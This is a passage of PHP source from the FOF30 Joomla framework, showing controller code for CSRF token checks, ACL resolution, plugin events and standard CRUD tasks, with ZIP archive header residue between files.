cause redirection problems. */ if (!$auto && version_compare(JVERSION, '3.999.999', 'gt')) { $url = Uri::base() . $url; } } // Set the redirection $this->redirect = $url; if ($msg !== null) { // Controller may have set this directly $this->message = $msg; } // Ensure the type is not overwritten by a previous call to setMessage. if (empty($this->messageType)) { $this->messageType = 'message'; } // If the type is explicitly set, set it. if (!empty($type)) { $this->messageType = $type; } return $this; } /** * Returns true if there is a redirect set in the controller * * @return boolean */ public function hasRedirect() { return !empty($this->redirect); } /** * Provides CSRF protection through the forced use of a secure token. If the token doesn't match the one in the * session we return false. * * @return bool * * @throws \Exception */ protected function csrfProtection() { static $isCli = null, $isAdmin = null; $platform = $this->container->platform; if (is_null($isCli)) { $isCli = $platform->isCli(); $isAdmin = $platform->isBackend(); } switch ($this->csrfProtection) { // Never case 0: return true; break; // Always case 1: break; // Only back-end and HTML format case 2: if ($isCli) { return true; } elseif (!$isAdmin && ($this->input->get('format', 'html', 'cmd') != 'html')) { return true; } break; // Only back-end case 3: if (!$isAdmin) { return true; } break; } // Check for a session token $token = $this->container->platform->getToken(false); $hasToken = $this->input->get($token, false, 'none') == 1; if (!$hasToken) { $hasToken = $this->input->get('_token', null, 'none') == $token; } if ($hasToken) { $view = $this->input->getCmd('view'); $task = $this->input->getCmd('task'); Log::add( "FOF: You are using a legacy session token in (view, task)=($view, $task). Support for legacy tokens will go away. Use form tokens instead.", Log::WARNING, 'deprecated' ); } // Check for a form token if (!$hasToken) { $token = $this->container->platform->getToken(true); $hasToken = $this->input->get($token, false, 'none') == 1; if (!$hasToken) { $view = $this->input->getCmd('view'); $task = $this->input->getCmd('task'); Log::add( "FOF: You are using the insecure _token form variable in (view, task)=($view, $task). Support for it will go away. Submit a variable with the token as the name and a value of 1 instead.", Log::WARNING, 'deprecated' ); $hasToken = $this->input->get('_token', null, 'none') == $token; } } if (!$hasToken) { $platform->raiseError(403, Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN')); return false; } return true; } /** * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the * Joomla! plugin system. A true/false return value is expected. The first false return cancels the event. * * EXAMPLE * Component: com_foobar, Object name: item, Event: onBeforeSomething, Arguments: array(123, 456) * The event calls: * 1. $this->onBeforeSomething(123, 456) * 2. $this->checkACL('@something') if there is no onBeforeSomething and the event starts with onBefore * 3. Joomla! plugin event onComFoobarControllerItemBeforeSomething($this, 123, 456) * * @param string $event The name of the event, typically named onPredicateVerb e.g. onBeforeKick * @param array $arguments The arguments to pass to the event handlers * * @return bool */ protected function triggerEvent($event, array $arguments = []) { $result = true; // If there is an object method for this event, call it if (method_exists($this, $event)) { switch (count($arguments)) { case 0: $result = $this->{$event}(); break; case 1: $result = $this->{$event}($arguments[0]); break; case 2: $result = $this->{$event}($arguments[0], $arguments[1]); break; case 3: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2]); break; case 4: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2], $arguments[3]); break; case 5: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4]); break; default: $result = call_user_func_array([$this, $event], $arguments); break; } } // If there is no handler method perform a simple ACL check elseif (substr($event, 0, 8) == 'onBefore') { $task = substr($event, 8); $result = $this->checkACL('@' . $task); } if ($result === false) { return false; } // All other event handlers live outside this object, therefore they need to be passed a reference to this // objects as the first argument. array_unshift($arguments, $this); // If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later. $prefix = ''; if (substr($event, 0, 2) == 'on') { $prefix = 'on'; $event = substr($event, 2); } // Get the component/model prefix for the event $prefix .= 'Com' . ucfirst($this->container->bareComponentName) . 'Controller'; $prefix .= ucfirst($this->getName()); // The event name will be something like onComFoobarItemsBeforeSomething $event = $prefix . $event; // Call the Joomla! plugins $results = $this->container->platform->runPlugins($event, $arguments); if (!empty($results)) { foreach ($results as $result) { if ($result === false) { return false; } } } return true; } /** * Checks if the current user has enough privileges for the requested ACL area. * * @param string $area The ACL area, e.g. core.manage. * * @return boolean True if the user has the ACL privilege specified */ protected function checkACL($area) { $area = $this->getACLRuleFor($area); if (is_bool($area)) { return $area; } if (in_array(strtolower($area), ['false', '0', 'no', '403'])) { return false; } if (in_array(strtolower($area), ['true', '1', 'yes'])) { return true; } if (in_array(strtolower($area), ['guest'])) { return $this->container->platform->getUser()->guest; } if (in_array(strtolower($area), ['user'])) { return !$this->container->platform->getUser()->guest; } if (empty($area)) { return true; } return $this->container->platform->authorise($area, $this->container->componentName); } /** * Resolves @task and &callback notations for ACL privileges * * @param string $area The task notation to resolve * @param array $oldAreas Areas we've already been redirected from, used to detect circular references * * @return mixed The resolved ACL privilege */ protected function getACLRuleFor($area, $oldAreas = []) { // If it's a ¬ation return the callback result if (substr($area, 0, 1) == '&') { $oldAreas[] = $area; $method = substr($area, 1); // Method not found? Assume true. if (!method_exists($this, $method)) { return true; } $area = $this->$method(); return $this->getACLRuleFor($area, $oldAreas); } // If it's not an @notation return the raw string if (substr($area, 0, 1) != '@') { return $area; } // Get the array index (other task) $index = substr($area, 1); // If the referenced task has no ACL map, return true if (!isset($this->taskPrivileges[$index])) { $index = strtolower($index); if (!isset($this->taskPrivileges[$index])) { return true; } } // Get the new ACL area $newArea = $this->taskPrivileges[$index]; $oldAreas[] = $area; // Circular reference found if (in_array($newArea, $oldAreas)) { return true; } // We've found an ACL privilege. Return it. if (substr($area, 0, 1) != '@') { return $newArea; } // We have another reference. Resolve it. return $this->getACLRuleFor($newArea, $oldAreas); } } PK���\�|���-fof30/Controller/Mixin/PredefinedTaskList.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Controller\Mixin; defined('_JEXEC') || die; use FOF30\Controller\Controller; /** * Force a Controller to allow access to specific tasks only, no matter which tasks are already defined in this * Controller. * * Include this Trait and then in your constructor do this: * $this->setPredefinedTaskList(['atask', 'anothertask', 'something']); * * WARNING: If you override execute() you will need to copy the logic from this trait's execute() method. */ trait PredefinedTaskList { /** * A list of predefined tasks. Trying to access any other task will result in the first task of this list being * executed instead. * * @var array */ protected $predefinedTaskList = []; /** * Overrides the execute method to implement the predefined task list feature * * @param string $task The task to execute * * @return mixed The controller task result */ public function execute($task) { if (!in_array($task, $this->predefinedTaskList)) { $task = reset($this->predefinedTaskList); } return parent::execute($task); } /** * Sets the predefined task list and registers the first task in the list as the Controller's default task * * @param array $taskList The task list to register * * @return void */ public function setPredefinedTaskList(array $taskList) { /** @var Controller $this */ // First, unregister all known tasks which are not in the taskList $allTasks = $this->getTasks(); foreach ($allTasks as $task) { if (in_array($task, $taskList)) { continue; } $this->unregisterTask($task); } // Set the predefined task list $this->predefinedTaskList = $taskList; // Set the default task $this->registerDefaultTask(reset($this->predefinedTaskList)); } } PK���\L�E��#fof30/Controller/DataController.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Controller; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Controller\Exception\ItemNotFound; use FOF30\Controller\Exception\LockedRecord; use FOF30\Controller\Exception\NotADataModel; use FOF30\Controller\Exception\TaskNotFound; use FOF30\Model\DataModel; use FOF30\View\View; use Joomla\CMS\Language\Text; use Joomla\CMS\Response\JsonResponse; /** * Database-aware Controller * * @property-read \FOF30\Input\Input $input The input object (magic __get returns the Input from the Container) */ class DataController extends Controller { /** * Variables that should be taken in account while working with the cache. You can set them in Controller * constructor or inside onBefore* methods * * @var false|array */ protected $cacheParams = false; /** * An associative array for required ACL privileges per task. For example: * array( * 'edit' => 'core.edit', * 'jump' => 'foobar.jump', * 'alwaysallow' => 'true', * 'neverallow' => 'false' * ); * * You can use the notation '@task' which means 'apply the same privileges as "task"'. If you create a reference * back to yourself (e.g. 'mytask' => array('@mytask')) it will return TRUE. * * @var array */ protected $taskPrivileges = [ // Special privileges '*editown' => 'core.edit.own', // Privilege required to edit own record // Standard tasks 'add' => 'core.create', 'apply' => '&getACLForApplySave', // Apply task: call the getACLForApplySave method 'archive' => 'core.edit.state', 'cancel' => 'core.edit.state', 'copy' => '@add', // Maps copy ACLs to the add task 'edit' => 'core.edit', 'loadhistory' => '@edit', // Maps loadhistory ACLs to the edit task 'orderup' => 'core.edit.state', 'orderdown' => 'core.edit.state', 'publish' => 'core.edit.state', 'remove' => 'core.delete', 'forceRemove' => 'core.delete', 'save' => '&getACLForApplySave', // Save task: call the getACLForApplySave method 'savenew' => 'core.create', 'saveorder' => 'core.edit.state', 'trash' => 'core.edit.state', 'unpublish' => 'core.edit.state', ]; /** * An indexed array of default values for the add task. Since the add task resets the model you can't set these * values directly to the model. Instead, the defaultsForAdd values will be fed to model's bind() after it's reset * and before the session-stored item data is bound to the model object. * * @var array */ protected $defaultsForAdd = []; /** * Public constructor of the Controller class. You can pass the following variables in the $config array, * on top of what you already have in the base Controller class: * * taskPrivileges array ACL privileges for each task * cacheableTasks array The cache-enabled tasks * * @param Container $container The application container * @param array $config The configuration array */ public function __construct(Container $container, array $config = []) { parent::__construct($container, $config); // Set up a default model name if none is provided if (empty($this->modelName)) { $this->modelName = $container->inflector->pluralize($this->view); } // Set up a default view name if none is provided if (empty($this->viewName)) { $this->viewName = $container->inflector->pluralize($this->view); } if (isset($config['cacheableTasks'])) { if (!is_array($config['cacheableTasks'])) { $config['cacheableTasks'] = explode(',', $config['cacheableTasks']); $config['cacheableTasks'] = array_map('trim', $config['cacheableTasks']); } $this->cacheableTasks = $config['cacheableTasks']; } elseif ($this->container->platform->isBackend()) { $this->cacheableTasks = []; } else { $this->cacheableTasks = ['browse', 'read']; } if (isset($config['taskPrivileges']) && is_array($config['taskPrivileges'])) { $this->taskPrivileges = array_merge($this->taskPrivileges, $config['taskPrivileges']); } } /** * Executes a given controller task. The onBefore<task> and onAfter<task> methods are called automatically if they * exist. * * If $task == 'default' we will determine the CRUD task to use based on the view name and HTTP verb in the request, * overriding the routing. * * @param string $task The task to execute, e.g. "browse" * * @return null|bool False on execution failure * * @throws TaskNotFound When the task is not found */ public function execute($task) { if ($task == 'default') { $task = $this->getCrudTask(); } return parent::execute($task); } /** * Returns a named View object * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * @param array $config Configuration parameters to the Model. If skipped * we will use $this->config * * @return View The instance of the Model known to this Controller */ public function getView($name = null, $config = []) { if (!empty($name)) { $viewName = $name; } elseif (!empty($this->viewName)) { $viewName = $this->viewName; } else { $viewName = $this->view; } if (!array_key_exists($viewName, $this->viewInstances)) { if (empty($config) && isset($this->config['viewConfig'])) { $config = $this->config['viewConfig']; } $viewType = $this->input->getCmd('format', 'html'); // Get the model's class name $this->viewInstances[$viewName] = $this->container->factory->view($viewName, $viewType, $config); } return $this->viewInstances[$viewName]; } /** * Implements a default browse task, i.e. read a bunch of records and send * them to the browser. * * @return void */ public function browse() { // Initialise the savestate $saveState = $this->input->get('savestate', -999, 'int'); if ($saveState == -999) { $saveState = true; } $this->getModel()->savestate($saveState); // Display the view $this->display(in_array('browse', $this->cacheableTasks), $this->cacheParams); } /** * Single record read. The id set in the request is passed to the model and * then the item layout is used to render the result. * * @return void * * @throws ItemNotFound When the item is not found */ public function read() { // Load the model /** @var DataModel $model */ $model = $this->getModel()->savestate(false); // If there is no record loaded, try loading a record based on the id passed in the input object if (!$model->getId()) { $ids = $this->getIDsFromRequest($model, true); if ($model->getId() != reset($ids)) { $key = strtoupper($this->container->componentName . '_ERR_' . $model->getName() . '_NOTFOUND'); throw new ItemNotFound(Text::_($key), 404); } } // Set the layout to item, if it's not set in the URL if (empty($this->layout)) { $this->layout = 'item'; } elseif ($this->layout == 'default') { $this->layout = 'item'; } // Display the view $this->display(in_array('read', $this->cacheableTasks), $this->cacheParams); } /** * Single record add. The form layout is used to present a blank page. * * @return void */ public function add() { // Load and reset the model $model = $this->getModel()->savestate(false); $model->reset(); // Set the layout to form, if it's not set in the URL if (empty($this->layout)) { $this->layout = 'form'; } elseif ($this->layout == 'default') { $this->layout = 'form'; } if (!empty($this->defaultsForAdd)) { $model->bind($this->defaultsForAdd); } // Get temporary data from the session, set if the save failed and we're redirected back here $sessionKey = $this->viewName . '.savedata'; $itemData = $this->container->platform->getSessionVar($sessionKey, null, $this->container->componentName); $this->container->platform->setSessionVar($sessionKey, null, $this->container->componentName); if (!empty($itemData)) { $model->bind($itemData); } // Display the view $this->display(in_array('add', $this->cacheableTasks), $this->cacheParams); } /** * Single record edit. The ID set in the request is passed to the model, * then the form layout is used to edit the result. * * @return void */ public function edit() { // Load the model /** @var DataModel $model */ $model = $this->getModel()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model, true); } $userId = $this->container->platform->getUser()->id; try { if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->lock(); } catch (\Exception $e) { // Redirect on error if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, $e->getMessage(), 'error'); return; } // Set the layout to form, if it's not set in the URL if (empty($this->layout)) { $this->layout = 'form'; } elseif ($this->layout == 'default') { $this->layout = 'form'; } // Get temporary data from the session, set if the save failed and we're redirected back here $sessionKey = $this->viewName . '.savedata'; $itemData = $this->container->platform->getSessionVar($sessionKey, null, $this->container->componentName); $this->container->platform->setSessionVar($sessionKey, null, $this->container->componentName); if (!empty($itemData)) { $model->bind($itemData); } // Display the view $this->display(in_array('edit', $this->cacheableTasks), $this->cacheParams); } /** * Save the incoming data and then return to the Edit task * * @return void */ public function apply() { // CSRF prevention $this->csrfProtection(); // Redirect to the edit task if (!$this->applySave()) { return; } $id = $this->input->get('id', 0, 'int'); $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_SAVED'); if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->view . '&task=edit&id=' . $id . $this->getItemidURLSuffix(); $this->setRedirect($url, Text::_($textKey)); } /** * Duplicates selected items * * @return void */ public function copy() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, true); $error = null; $copiedCount = 0; try { $status = true; foreach ($ids as $id) { $model->find($id); $model->copy(); $copiedCount++; } } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); return; } if ($copiedCount > 0) { $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_COPIED'); $this->setRedirect($url, Text::_($textKey)); return; } $this->setRedirect($url); } /** * Save the incoming data and then return to the Browse task * * @return void */ public function save() { // CSRF prevention $this->csrfProtection(); if (!$this->applySave()) { return; } $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_SAVED'); if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, Text::_($textKey)); } /** * Save the incoming data and then return to the Add task * * @return bool */ public function savenew() { // CSRF prevention $this->csrfProtection(); if (!$this->applySave()) { return; } $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_SAVED'); if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->singularize($this->view) . '&task=add' . $this->getItemidURLSuffix(); $this->setRedirect($url, Text::_($textKey)); } /** * Save the incoming data as a copy of the given model and then redirect to the copied object edit view * * @return bool */ public function save2copy() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, true); $data = $this->input->getData(); unset($data[$model->getIdFieldName()]); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $model = $model->copy($data); } } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : $url = 'index.php?option=' . $this->container->componentName . '&view=' . $this->view . '&task=edit&id=' . $model->getId() . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_COPIED'); $this->setRedirect($url, Text::_($textKey)); } } /** * Cancel the edit, check in the record and return to the Browse task * * @return void */ public function cancel() { $model = $this->getModel()->tmpInstance()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model, true); } if ($model->getId()) { $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { try { $model->checkIn($userId); } catch (LockedRecord $e) { // Redirect to the display task if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, $e->getMessage(), 'error'); } } $model->unlock(); } // Remove any saved data $sessionKey = $this->viewName . '.savedata'; $this->container->platform->setSessionVar($sessionKey, null, $this->container->componentName); // Redirect to the display task if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url); } /** * Publish (set enabled = 1) an item. * * @return void */ public function publish() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = false; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->publish(); } } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Unpublish (set enabled = 0) an item. * * @return void */ public function unpublish() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->unpublish(); } } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Archive (set enabled = 2) an item. * * @return void */ public function archive() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->archive(); } } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Trash (set enabled = -2) an item. * * @return void */ public function trash() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->trash(); } } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Check in (unlock) items * * @return void */ public function checkin() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $model->checkIn(); } } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Saves the order of the items * * @return void */ public function saveorder() { // CSRF prevention $this->csrfProtection(); $type = null; $msg = null; $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $orders = $this->input->get('order', [], 'array'); // Before saving the order, I have to check I the table really supports the ordering feature if (!$model->hasField('ordering')) { $msg = sprintf('%s does not support ordering.', $model->getTableName()); $type = 'error'; } else { $ordering = $model->getFieldAlias('ordering'); // Several methods could throw exceptions, so let's wrap everything in a try-catch try { if ($n = count($ids)) { for ($i = 0; $i < $n; $i++) { $item = $model->find($ids[$i]); $neworder = (int) $orders[$i]; if (!($item instanceof DataModel)) { continue; } if ($item->getId() == $ids[$i]) { $item->$ordering = $neworder; $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->save($item); } } } $model->reorder(); } catch (\Exception $e) { $msg = $e->getMessage(); $type = 'error'; } } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, $msg, $type); } /** * Moves selected items one position down the ordering list * * @return void */ public function orderdown() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model, true); } $error = null; try { $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->move(1); $status = true; } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Moves selected items one position up the ordering list * * @return void */ public function orderup() { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model, true); } $error = null; try { $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->move(-1); $status = true; } catch (\Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * Delete or trash selected item(s). The model's softDelete flag determines if the items should be trashed (enabled * state changed to -2) or deleted (completely removed from database) * * @return void */ public function remove() { $this->deleteOrTrash(false); } /** * Deletes the selected item(s). Unlike remove() this method will force delete the record (completely removed from * database) * * @return void */ public function forceRemove() { $this->deleteOrTrash(true); } /** * Returns a named Model object. Makes sure that the Model is a database-aware model, throwing an exception * otherwise, when $name is null. * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * @param array $config Configuration parameters to the Model. If skipped * we will use $this->config * * @return DataModel The instance of the Model known to this Controller * * @throws NotADataModel When the model type doesn't match our expectations */ public function getModel($name = null, $config = []) { $model = parent::getModel($name, $config); if (is_null($name) && !($model instanceof DataModel)) { throw new NotADataModel('Model ' . get_class($model) . ' is not a database-aware Model'); } return $model; } /** * Gets the list of IDs from the request data * * @param DataModel $model The model where the record will be loaded * @param bool $loadRecord When true, the record matching the *first* ID found will be loaded into $model * * @return array */ public function getIDsFromRequest(DataModel &$model, $loadRecord = true) { // Get the ID or list of IDs from the request or the configuration $cid = $this->input->get('cid', [], 'array'); $id = $this->input->getInt('id', 0); $kid = $this->input->getInt($model->getIdFieldName(), 0); $ids = []; if (is_array($cid) && !empty($cid)) { $ids = $cid; } else { if (empty($id)) { if (!empty($kid)) { $ids = [$kid]; } } else { $ids = [$id]; } } if ($loadRecord && !empty($ids)) { $id = reset($ids); $model->find(['id' => $id]); } return $ids; } /** * Method to load a row from version history * * @return boolean True if the content history is reverted, false otherwise * * @since 2.2 */ public function loadhistory() { $model = $this->getModel(); $model->lock(); $historyId = $this->input->get('version_id', null, 'integer'); $alias = $this->container->componentName . '.' . $this->view; $returnUrl = 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if ($customURL = $this->input->getBase64('returnurl', '')) { $customURL = base64_decode($customURL); } if (!empty($customURL)) { $returnUrl = $customURL; } try { $model->loadhistory($historyId, $alias); } catch (\Exception $e) { $this->setRedirect($returnUrl, $e->getMessage(), 'error'); $model->unlock(); return false; } // Access check. if (!$this->checkACL('@loadhistory')) { $this->setRedirect($returnUrl, Text::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'), 'error'); $model->unlock(); return false; } $model->store(); $this->setRedirect($returnUrl, Text::sprintf('JLIB_APPLICATION_SUCCESS_LOAD_HISTORY', $model->getState('save_date'), $model->getState('version_note'))); return true; } /** * Gets a URL suffix with the Itemid parameter. If it's not the front-end of the site, or if * there is no Itemid set it returns an empty string. * * @return string The &Itemid=123 URL suffix, or an empty string if Itemid is not applicable */ public function getItemidURLSuffix() { if ($this->container->platform->isFrontend() && ($this->input->getCmd('Itemid', 0) != 0)) { return '&Itemid=' . $this->input->getInt('Itemid', 0); } else { return ''; } } /** * Deal with JSON format: no redirects needed * * @param string $task The task being executed * * @return boolean True if everything went well */ protected function onAfterExecute($task) { // JSON shouldn't have redirects if ($this->hasRedirect() && $this->input->getCmd('format', 'html') == 'json') { // Error: deal with it in REST api way if ($this->messageType == 'error') { $response = new JsonResponse($this->message, $this->message, true); echo $response; $this->redirect = false; $this->container->platform->setHeader('Status', 500); return; } else { // Not an error, avoid redirect and display the record(s) $this->redirect = false; return $this->display(); } } return true; } /** * Determines the CRUD task to use based on the view name and HTTP verb used in the request. * * @return string The CRUD task (browse, read, edit, delete) */ protected function getCrudTask() { // By default, a plural view means 'browse' and a singular view means 'edit' $view = $this->input->getCmd('view', null); $task = $this->container->inflector->isPlural($view) ? 'browse' : 'edit'; // If the task is 'edit' but there's no logged in user switch to a 'read' task if (($task == 'edit') && !$this->container->platform->getUser()->id) { $task = 'read'; } // Check if there is an id passed in the request $id = $this->input->get('id', null, 'int'); if ($id == 0) { $ids = $this->input->get('ids', [], 'array'); if (!empty($ids)) { $id = array_shift($ids); } } // Get the request HTTP verb $requestMethod = 'GET'; if (isset($_SERVER['REQUEST_METHOD'])) { $requestMethod = strtoupper($_SERVER['REQUEST_METHOD']); } // Alter the task based on the verb switch ($requestMethod) { // POST and PUT result in a record being saved; no ID means creating a new record case 'POST': case 'PUT': $task = 'save'; break; // DELETE results in a record being deleted, as long as there is an ID case 'DELETE': if ($id) { $task = 'remove'; } break; // GET results in browse, edit or add depending on the ID case 'GET': default: // If it's an edit without an ID or ID=0, it's really an add if (($task == 'edit') && ($id == 0)) { $task = 'add'; } break; } return $task; } /** * Checks if the current user has enough privileges for the requested ACL area. This overridden method supports * asset tracking as well. * * @param string $area The ACL area, e.g. core.manage * * @return boolean True if the user has the ACL privilege specified */ protected function checkACL($area) { $area = $this->getACLRuleFor($area); $result = parent::checkACL($area); // Check if we're dealing with ids $ids = null; // First, check if there is an asset for this record /** @var DataModel $model */ $model = $this->getModel(); $ids = null; if (is_object($model) && ($model instanceof DataModel) && $model->isAssetsTracked()) { $ids = $this->getIDsFromRequest($model, false); } // No IDs tracked, return parent's result if (empty($ids)) { return $result; } // Asset tracking if (!is_array($ids)) { $ids = [$ids]; } $resource = $this->container->inflector->singularize($this->view); $isEditState = ($area == 'core.edit.state'); foreach ($ids as $id) { $asset = $this->container->componentName . '.' . $resource . '.' . $id; // Dedicated permission found, check it! $platform = $this->container->platform; if ($platform->authorise($area, $asset)) { return true; } // Fallback on edit.own, if not edit.state. First test if the permission is available. $editOwn = $this->getACLRuleFor('@*editown'); if ((!$isEditState) && ($platform->authorise($editOwn, $asset))) { 